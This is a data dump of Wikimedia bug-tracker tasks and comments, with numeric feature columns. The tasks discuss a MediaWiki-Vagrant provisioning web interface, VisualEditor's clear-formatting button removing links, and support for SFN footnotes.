MediaWiki-Vagrant already implements the bulk of the work in that it provides a set of parametrized, MediaWiki-oriented Puppet modules and resource types. In plain English: MediaWiki-Vagrant can take a configuration file that says ""give me a MediaWiki instance with Scribunto and VisualEditor that is set up for development work"" and configure a machine to match these specifications.

A number of cloud computing platforms provide hooks for uploading Puppet code to automate the creation and customization of servers. Some are event implemented as Vagrant 'providers', which means that you can run 'vagrant up' and Vagrant will create a cloud instance rather than a VirtualBox VM. Examples include vagrant-rackspace for Rackspace Cloud (<https://github.com/mitchellh/vagrant-rackspace>) and vagrant-aws (<https://github.com/mitchellh/vagrant-aws>) for Amazon AWS. A vagrant-openstack provider (<https://github.com/aodn/vagrant-openstack>) also exists; I don't know how much work it would take to make it work with Labs.

The major work-item would be to build the web interface (or adapting the source code of <https://puphpet.com/> or some other project -- there are several), ideally as a MediaWiki extension so that we can offer the ability to provision a virtual server (either local or cloud-based) right on MediaWiki.org.

I think that this could considerably broaden the appeal of MediaWiki to a new generation of internet users. The success of Wikia shows that there exists considerable demand for point-and-click wiki creation. It could also help drive third-party usage of VisualEditor / parsoid, if it is true that adoption is held back by anxiety over having to configure and maintain an additional software component.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1374439020,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,False,PHID-TASK-mivgnyfxfz6yjozsfgrs,task_description,open,True,c1,3,True,False,,2,,1.0,0.0,0.0,0.75,0.25,6.0,0.75,0.0,0.0,0.25,1.0,1.25,0.0,0.0,0.75,1.0,0.5,2.5,12.5,0.0,2.0,0.25,0.25,0.0,0.0,1.0,0.0,0.0,1.25,1.0,0.0,4.75,1.25,1.5,0.5,0.75,0.0,0.25,0.25,0.5,0.0,0.0,0.0,3.75,0.25,0.5,0.0,0.25,0.75,16.0,0.5,0.75,0.0,0.0,0.0,0.25,0.25,0.0,1.0,0.0,0.0,0.75,0.0,0.25,0.0,0.25,0.25,7.25,1.75,11.75,2.25,3.75,8.75,0.0,0.0,0.0,0.0,6.25,0.0,0.0,0.0,3.25,12.5,7.0,0.0,1.5,0.0,3.25,0.0,1.0,4.0,0.25,1.25,0.0,0.0,1.25,4.33080808080808,0.7247474747474747,"The basic idea is to have a clear and pleasant-to-use web-based interface for generating a MediaWiki instance manifest. The interface should allow you to tick off the extensions you want, for example, and it would automate the configuration of supporting software like Apache and memcached. There's an attractive example of such an interface at <URL

MediaWiki-Vagrant already implements the bulk of the work in that it provides a set of parametrized, MediaWiki-oriented Puppet modules and resource types. In plain English: MediaWiki-Vagrant can take a configuration file that says ""give me a MediaWiki instance with Scribunto and VisualEditor that is set up for development work"" and configure a machine to match these specifications.

A number of cloud computing platforms provide hooks for uploading Puppet code to automate the creation and customization of servers. Some are event implemented as Vagrant 'providers', which means that you can run 'vagrant up' and Vagrant will create a cloud instance rather than a VirtualBox VM. Examples include vagrant-rackspace for Rackspace Cloud (<URL and vagrant-aws (<URL for Amazon AWS. A vagrant-openstack provider (<URL also exists; I don't know how much work it would take to make it work with Labs.

The major work-item would be to build the web interface (or adapting the source code of <URL or some other project -- there are several), ideally as a MediaWiki extension so that we can offer the ability to provision a virtual server (either local or cloud-based) right on MediaWiki.org.

I think that this could considerably broaden the appeal of MediaWiki to a new generation of internet users. The success of Wikia shows that there exists considerable demand for point-and-click wiki creation. It could also help drive third-party usage of VisualEditor / parsoid, if it is true that adoption is held back by anxiety over having to configure and maintain an additional software component.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
243395,Provide a web interface for customizing an MediaWiki instance and provisioning it in the cloud or locally,Bulk unassigning bugs from Ori.,,,1416260155,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-mivgnyfxfz6yjozsfgrs,task_subcomment,,True,c1,3,True,,,72,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.5,1.0,Bulk unassigning bugs from Ori.
243392,Provide a web interface for customizing an MediaWiki instance and provisioning it in the cloud or locally,[mass-moving from Tools>MediaWiki-Vagrant to separate product. See bug 54041. Filter bugmail on this comment.],,,1378939555,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mivgnyfxfz6yjozsfgrs,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,3.88,0.88,[mass-moving from Tools>MediaWiki-Vagrant to separate product. See bug 54041. Filter bugmail on this comment.]
243388,Provide a web interface for customizing an MediaWiki instance and provisioning it in the cloud or locally,"See also https://www.heroku.com/

Juan,  I'll like what you're doing.  Emailing you.",,,1375133344,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-mivgnyfxfz6yjozsfgrs,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,16.0,0.0,11.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,2.8947368421052633,0.8421052631578947,"See also URL

Juan,  I'll like what you're doing.  Emailing you."
243384,Provide a web interface for customizing an MediaWiki instance and provisioning it in the cloud or locally,"**jtreminio** wrote:

Hi there, creator of PuPHPet here.

We're actually actively working on providing ready-made quick-start configurations for some popular projects.

Right now we have it done for Symfony2 (https://puphpet.com/quickstart/symfony) and for PuPHPet itself (https://puphpet.com/quickstart/puphpet).

If I could be given your exact requirements I could easily whip something up for you :)",,,1374452121,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mivgnyfxfz6yjozsfgrs,task_subcomment,,True,c1,3,False,,,3,,1.0,1.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,10.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,15.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,11.0,11.0,8.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,3.971830985915493,0.7746478873239436,"**jtreminio** wrote:

Hi there, creator of PuPHPet here.

We're actually actively working on providing ready-made quick-start configurations for some popular projects.

Right now we have it done for Symfony2 (URL and for PuPHPet itself (URL

If I could be given your exact requirements I could easily whip something up for you :)"
53757,VisualEditor: Clear formatting button should not remove links,"The ""clear formatting"" button returns bold and italic text to its plain state, as expected. However it also removes any links in the selection, which is not expected, rather there should be a separate ""unlink"" button to do this job - conceptually I regard a link as an attribute not as formatting.

For example selecting a bolded sentence with an italicised title and a linked word in it. I clicked the clear formatting intending to clear the bold and italic, which it did but it also removed the link. Similarly if using it to remove a link it also removes bold/italic which is unlikely to be the intention.",Lowest,10.0,1374344100,1445613258.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-3geuv3zh7grvfypwtx6m,task_description,declined,True,c1,3,False,False,False,2,,0.5,0.0,0.0,0.5,1.0,6.0,2.0,0.0,0.0,1.0,4.5,0.0,0.0,0.0,0.5,1.5,2.0,5.5,8.5,0.0,3.0,0.5,0.0,0.0,2.5,0.5,0.0,0.0,0.0,0.0,1.0,3.0,1.0,5.0,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,12.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,0.0,9.0,2.5,4.0,1.0,3.0,12.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,6.5,8.5,0.0,0.0,2.0,0.0,6.5,0.0,2.0,4.5,0.0,2.0,0.0,0.0,0.0,4.048387096774194,0.7258064516129032,"The ""clear formatting"" button returns bold and italic text to its plain state, as expected. However it also removes any links in the selection, which is not expected, rather there should be a separate ""unlink"" button to do this job - conceptually I regard a link as an attribute not as formatting.

For example selecting a bolded sentence with an italicised title and a linked word in it. I clicked the clear formatting intending to clear the bold and italic, which it did but it also removed the link. Similarly if using it to remove a link it also removes bold/italic which is unlikely to be the intention."
241999,VisualEditor: Clear formatting button should not remove links,*** Bug 70739 has been marked as a duplicate of this bug. ***,,,1410482044,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3geuv3zh7grvfypwtx6m,task_subcomment,,True,c1,3,True,,,62,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 70739 has been marked as a duplicate of this bug. ***
241994,VisualEditor: Clear formatting button should not remove links,*** Bug 59191 has been marked as a duplicate of this bug. ***,,,1390025103,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3geuv3zh7grvfypwtx6m,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 59191 has been marked as a duplicate of this bug. ***
241988,VisualEditor: Clear formatting button should not remove links,"(In reply to comment #4)
> (In reply to comment #3)
> > Also, removing a link takes three clicks if you don't use 'clear
> > formatting'.
>
> Which is why I said there should be a separate button to remove
> links with a single click.

We're meant to be in the business of removing user confusion, not
adding to it. More buttons make things harder to understand, in
general. In this specific case I'm not sure.

> > 'Clear markup' would be more descriptive, but probably less user-
> > friendly.
>
> ""Clear markup"" doesn't describe what it does either, because it
> doesn't remove paragraph style, text size, templates, colour, etc.
> It only removes text formatting and links.

Actually, this is wrong. Specifically, ""clear formatting"" removes
everything that's an annotation (things that take text and fiddle with
it in some way), and not objects or structure - in VisualEditor
language, ""styles"".

I.e., things that are removed:

* Bold, italics, underlines, strikethrough, superscript, subscript,
  code style
* Text size (big/small and font-size attributes)
* Rich text annotations - links, language (lang=""fr""), direction
  (dir=""rtl""), …
* Colours (foreground and background highlight) on text
* Arbitrary paragraph settings (<span>s with style tags, etc.)

… and things that remain:

* Formats (paragraph/heading/preformatted/blockquote/…)
* Structure (numbered list/bulleted list/definition list/table/…)
* Objects (media items/galleries/transclusions/equations/…)

> My point is that bold and italic, etc. are a subset of formatting,
> but links aren't.

In your meaning of the term ""formatting"". I don't use it that way, and
neither do similar functions in other rich editors like Word or Google
Docs, I believe.

> I want the ability to remove formatting without removing links, and
> the ability to remove links without removing formatting.

I understand the request. :-) I just don't think that it's a need that
is sufficiently widely-held that we should burden all users with an
extra button and a confusing ""everything except not that one sorry""
cognitive step.",,,1383006366,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3geuv3zh7grvfypwtx6m,task_subcomment,,True,c1,3,True,,,17,,0.5,0.5,0.0,0.25,1.5,5.5,0.5,0.0,0.0,0.0,2.25,1.0,0.0,0.0,0.0,2.0,0.5,3.25,5.75,0.5,0.75,0.25,0.0,0.25,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,1.75,1.0,1.25,0.25,0.0,0.0,0.0,0.25,0.0,0.0,0.0,2.0,0.0,0.25,0.0,0.75,0.5,16.5,0.5,1.0,0.25,0.5,0.0,0.0,0.0,0.0,0.75,0.0,0.25,0.5,0.0,0.0,0.25,0.75,0.0,2.0,1.0,10.5,0.75,2.25,3.75,0.0,0.25,0.0,0.25,1.75,0.0,1.25,0.0,3.25,5.75,4.0,0.0,2.5,0.0,3.25,0.0,1.25,1.0,0.0,0.75,0.5,0.0,0.75,3.629494382022472,0.6102372034956305,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We're meant to be in the business of removing user confusion, not
adding to it. More buttons make things harder to understand, in
general. In this specific case I'm not sure.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Actually, this is wrong. Specifically, ""clear formatting"" removes
everything that's an annotation (things that take text and fiddle with
it in some way), and not objects or structure - in VisualEditor
language, ""styles"".

I.e., things that are removed:

* Bold, italics, underlines, strikethrough, superscript, subscript,
  code style
* Text size (big/small and font-size attributes)
* Rich text annotations - links, language (lang=""fr""), direction
  (dir=""rtl""), …
* Colours (foreground and background highlight) on text
* Arbitrary paragraph settings (<span>s with style tags, etc.)

… and things that remain:

* Formats (paragraph/heading/preformatted/blockquote/…)
* Structure (numbered list/bulleted list/definition list/table/…)
* Objects (media items/galleries/transclusions/equations/…)

QUOTE
QUOTE

In your meaning of the term ""formatting"". I don't use it that way, and
neither do similar functions in other rich editors like Word or Google
Docs, I believe.

QUOTE
QUOTE

I understand the request. :-) I just don't think that it's a need that
is sufficiently widely-held that we should burden all users with an
extra button and a confusing ""everything except not that one sorry""
cognitive step."
241981,VisualEditor: Clear formatting button should not remove links,"(In reply to comment #3)
Also, removing a link takes three clicks if you don't use 'clear
> formatting'.
Which is why I said there should be a separate button to remove links with a single click.
 
> 'Clear markup' would be more descriptive, but probably less user-friendly.
""Clear markup"" doesn't describe what it does either, because it doesn't remove paragraph style, text size, templates, colour, etc. It only removes text formatting and links.

My point is that bold and italic, etc. are a subset of formatting, but links aren't. I want the ability to remove formatting without removing links, and the ability to remove links without removing formatting.",,,1375800747,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3geuv3zh7grvfypwtx6m,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,2.5,3.0,2.0,0.5,0.0,0.5,0.5,3.0,0.0,1.0,0.5,2.0,3.0,4.5,7.5,0.0,2.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,1.5,0.0,0.5,0.0,0.0,0.0,4.0,3.5,6.0,2.5,3.0,4.5,0.0,0.0,0.0,0.5,5.0,0.0,1.0,0.0,4.5,7.5,0.5,0.0,1.5,0.0,4.5,0.0,1.5,2.5,0.0,3.5,0.0,0.0,2.5,3.785576923076923,0.6735576923076922,"(In reply to comment #3)
Also, removing a link takes three clicks if you don't use 'clear
QUOTE
Which is why I said there should be a separate button to remove links with a single click.
 
QUOTE
""Clear markup"" doesn't describe what it does either, because it doesn't remove paragraph style, text size, templates, colour, etc. It only removes text formatting and links.

My point is that bold and italic, etc. are a subset of formatting, but links aren't. I want the ability to remove formatting without removing links, and the ability to remove links without removing formatting."
241977,VisualEditor: Clear formatting button should not remove links,"I agree that links are fundamental to Wikipedia (and other wikis).  However, I think it is quite reasonable that 'clear formatting' removes links.  If you want to remove something in particular, you can use the individual buttons (click bold to unbold, etc.) in most cases.

Part of this is that I've already become used to using 'clear formatting' for links in VE.  But I don't think this seemed unintutive even when I started using VE.  Also, removing a link takes three clicks if you don't use 'clear formatting'.

'Clear markup' would be more descriptive, but probably less user-friendly.",,,1375599397,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-3geuv3zh7grvfypwtx6m,task_subcomment,,True,c1,3,True,,,4,,0.0,0.5,0.0,0.0,1.5,8.5,2.0,0.0,0.0,1.0,2.5,7.5,0.0,0.0,0.0,3.0,2.0,7.5,8.0,0.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,6.5,1.0,0.5,0.5,1.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,6.5,1.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,8.5,3.5,2.0,2.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,5.0,8.0,3.0,0.0,5.5,0.0,5.0,0.0,0.5,0.5,0.0,2.0,1.5,0.5,1.0,3.708955223880597,0.7313432835820896,"I agree that links are fundamental to Wikipedia (and other wikis).  However, I think it is quite reasonable that 'clear formatting' removes links.  If you want to remove something in particular, you can use the individual buttons (click bold to unbold, etc.) in most cases.

Part of this is that I've already become used to using 'clear formatting' for links in VE.  But I don't think this seemed unintutive even when I started using VE.  Also, removing a link takes three clicks if you don't use 'clear formatting'.

'Clear markup' would be more descriptive, but probably less user-friendly."
241973,VisualEditor: Clear formatting button should not remove links,"Well ""superscript/subscript/underline/strikethrough/big/small/code
formatting and <span>s setting arbitrary formatting annotations (like ""color:
red;"" or ""font-family: serif;"" are all just different sorts of text decoration formatting like bold and italic so the clear formatting button is appropriate for all of them.

""language settings (lang=fr and dir=rtl)"" are not in my mind the same thing as bold, strikethrough, etc, but equally they're not the same thing as links. I haven't thought about them before now and I at this point I just don't know what my opinion is and I don't really know what the arguments for an against are, so more thinking needed before I can you a proper answer for those, sorry.

I think possibly the difference in our opinions about links is that you are approaching this from a ""make it like a popular word processor that can edit Wikipedia"" whereas I'm thinking of it from ""make it an editor for Wikipedia that works like word processors"". There might not sound much different in those philosophies, and in most cases I don't think there is. However from a word processing POV links are useful-to-have additional metadata, whereas from a Wikipeida editor POV links are fundamental to the structure and essence they don't conceptually fit with decoration.",,,1374821514,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3geuv3zh7grvfypwtx6m,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,0.0,0.0,2.6666666666666665,7.666666666666667,2.0,0.0,0.0,0.0,2.3333333333333335,2.3333333333333335,0.0,0.0,0.6666666666666666,3.6666666666666665,2.0,7.0,11.333333333333334,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.3333333333333333,7.333333333333333,2.3333333333333335,1.0,0.0,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.0,14.333333333333334,0.6666666666666666,1.3333333333333333,0.0,2.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,2.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,4.333333333333333,3.3333333333333335,5.666666666666667,1.3333333333333333,3.0,6.666666666666667,0.0,0.0,0.0,0.0,3.3333333333333335,0.3333333333333333,0.0,0.0,7.0,11.333333333333334,2.6666666666666665,0.0,3.6666666666666665,0.0,7.0,0.0,1.3333333333333333,2.3333333333333335,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,3.978021978021978,0.6996336996336995,"Well ""superscript/subscript/underline/strikethrough/big/small/code
formatting and <span>s setting arbitrary formatting annotations (like ""color:
red;"" or ""font-family: serif;"" are all just different sorts of text decoration formatting like bold and italic so the clear formatting button is appropriate for all of them.

""language settings (lang=fr and dir=rtl)"" are not in my mind the same thing as bold, strikethrough, etc, but equally they're not the same thing as links. I haven't thought about them before now and I at this point I just don't know what my opinion is and I don't really know what the arguments for an against are, so more thinking needed before I can you a proper answer for those, sorry.

I think possibly the difference in our opinions about links is that you are approaching this from a ""make it like a popular word processor that can edit Wikipedia"" whereas I'm thinking of it from ""make it an editor for Wikipedia that works like word processors"". There might not sound much different in those philosophies, and in most cases I don't think there is. However from a word processing POV links are useful-to-have additional metadata, whereas from a Wikipeida editor POV links are fundamental to the structure and essence they don't conceptually fit with decoration."
241967,VisualEditor: Clear formatting button should not remove links,"This is exactly as designed. It also removes language settings (lang=fr and dir=rtl), superscript/subscript/underline/strikethrough/big/small/code formatting, and <span>s setting arbitrary formatting annotations (like ""color: red;"" or ""font-family: serif;"" or …). It's modelled against the same function in other editors, rendering the text down to completely plain text (except for objects like references or templates).

Do you think each of these formatting options should have a ""remove"" function? Only some of them? Only those that trigger an inspector rather than just a boolean state (like links, language and arbitrary settings)? Only links? Why/why not? Happy to change direction but it would need to be a pretty strong reason to change (amongst other things, we'd need to give users ways to break out of the other kinds of pre-annotations as well as removing the selected annotation).",,,1374798885,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3geuv3zh7grvfypwtx6m,task_subcomment,,True,c1,3,True,,,3,,1.0,0.0,0.5,0.5,0.5,8.0,0.5,0.0,0.0,0.0,2.0,0.5,0.0,1.5,0.0,0.5,1.5,7.5,10.0,0.0,2.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,3.5,1.0,1.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,16.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.0,1.0,4.5,1.5,3.5,6.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,3.0,10.0,1.5,2.5,3.0,0.0,3.0,0.0,1.5,2.0,0.5,2.0,0.0,0.0,0.5,3.9132127077635177,0.7333789185777404,"This is exactly as designed. It also removes language settings (lang=fr and dir=rtl), superscript/subscript/underline/strikethrough/big/small/code formatting, and <span>s setting arbitrary formatting annotations (like ""color: red;"" or ""font-family: serif;"" or …). It's modelled against the same function in other editors, rendering the text down to completely plain text (except for objects like references or templates).

Do you think each of these formatting options should have a ""remove"" function? Only some of them? Only those that trigger an inspector rather than just a boolean state (like links, language and arbitrary settings)? Only links? Why/why not? Happy to change direction but it would need to be a pretty strong reason to change (amongst other things, we'd need to give users ways to break out of the other kinds of pre-annotations as well as removing the selected annotation)."
53522,VisualEditor: Support for SFN and similar references,"One of the major advances in wiki editing in the last few years has been support for the short template-based referencing systems like SFN. I've made it a basic rule to use SFN if a reference is used more than twice within the article, and an inline only in the rare case where it is used once or twice. I realize my editing patterns are not normal, but I think support for these templated refs would improve the editor greatly. 

Perhaps a ""toolbar-like"" editor to one side of the main editor could list of global references created so far, and allow the user to drag a handle from them into the article to place the ref in the body.

Even better, perhaps the use could drag URLs or text into the bar to create semi-filled out master refs.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1374057780,1393541245.0,PHID-USER-5tluooawvjfhtqywnxag,False,,False,PHID-TASK-ksoksajvjcd37y5wvvq2,task_description,declined,True,c1,3,False,False,False,2,,0.5,0.0,0.5,1.0,0.5,7.5,0.5,0.0,0.0,0.5,2.0,0.5,0.0,0.5,0.0,2.0,0.5,7.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,0.0,3.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,18.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,9.5,2.0,6.0,1.0,2.5,10.0,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,3.5,12.0,1.0,0.0,1.0,0.0,3.5,0.0,0.5,2.5,0.5,0.0,1.0,0.0,0.0,3.8693181818181817,0.7102272727272727,"One of the major advances in wiki editing in the last few years has been support for the short template-based referencing systems like SFN. I've made it a basic rule to use SFN if a reference is used more than twice within the article, and an inline only in the rare case where it is used once or twice. I realize my editing patterns are not normal, but I think support for these templated refs would improve the editor greatly. 

Perhaps a ""toolbar-like"" editor to one side of the main editor could list of global references created so far, and allow the user to drag a handle from them into the article to place the ref in the body.

Even better, perhaps the use could drag URLs or text into the bar to create semi-filled out master refs.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
526492,VisualEditor: Support for SFN and similar references,"JD, can you point to the ""as discussed previously""? I am not familiar with the problem, so do I understand why this would be a ""horrible hack"".",,,1442227600,,PHID-USER-5tluooawvjfhtqywnxag,False,,,PHID-TASK-ksoksajvjcd37y5wvvq2,task_subcomment,,True,c1,3,False,,,115,,0.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,9.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,3.0,3.0,11.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.342857142857143,0.8285714285714286,"JD, can you point to the ""as discussed previously""? I am not familiar with the problem, so do I understand why this would be a ""horrible hack""."
526332,VisualEditor: Support for SFN and similar references,"I guess I agree that it may not be worthwhile to support creating new footnotes with the [[https://en.wikipedia.org/wiki/Template:Sfn| shortened footnotes (SFN) template]]. 

However, for the time being this system is still around on enwiki. And since this bug was filed, the citation reuse features was introduced in VE, and there it's an awkward and confusing user experience that one is not able to reuse already existing sfn footnotes. 

Compare the list of footnotes offered for reuse in
https://en.wikipedia.org/w/index.php?title=AI_winter&oldid=680877170&veaction=edit  (via ""Cite"" -> ""Re-use"")  with the actual [[https://en.wikipedia.org/w/index.php?title=AI_winter&oldid=680877170#Notes |list of footnotes in that article revision]]. The numbering is inconsistent, e.g. #7 (John Hutchins) in the article becomes #3 in VE, with the original footnots #3, #4, #5 and #6 mission. I had to search and think for a while to realize that I wasn't simply overlooking things and that the reason for the discrepancy is this 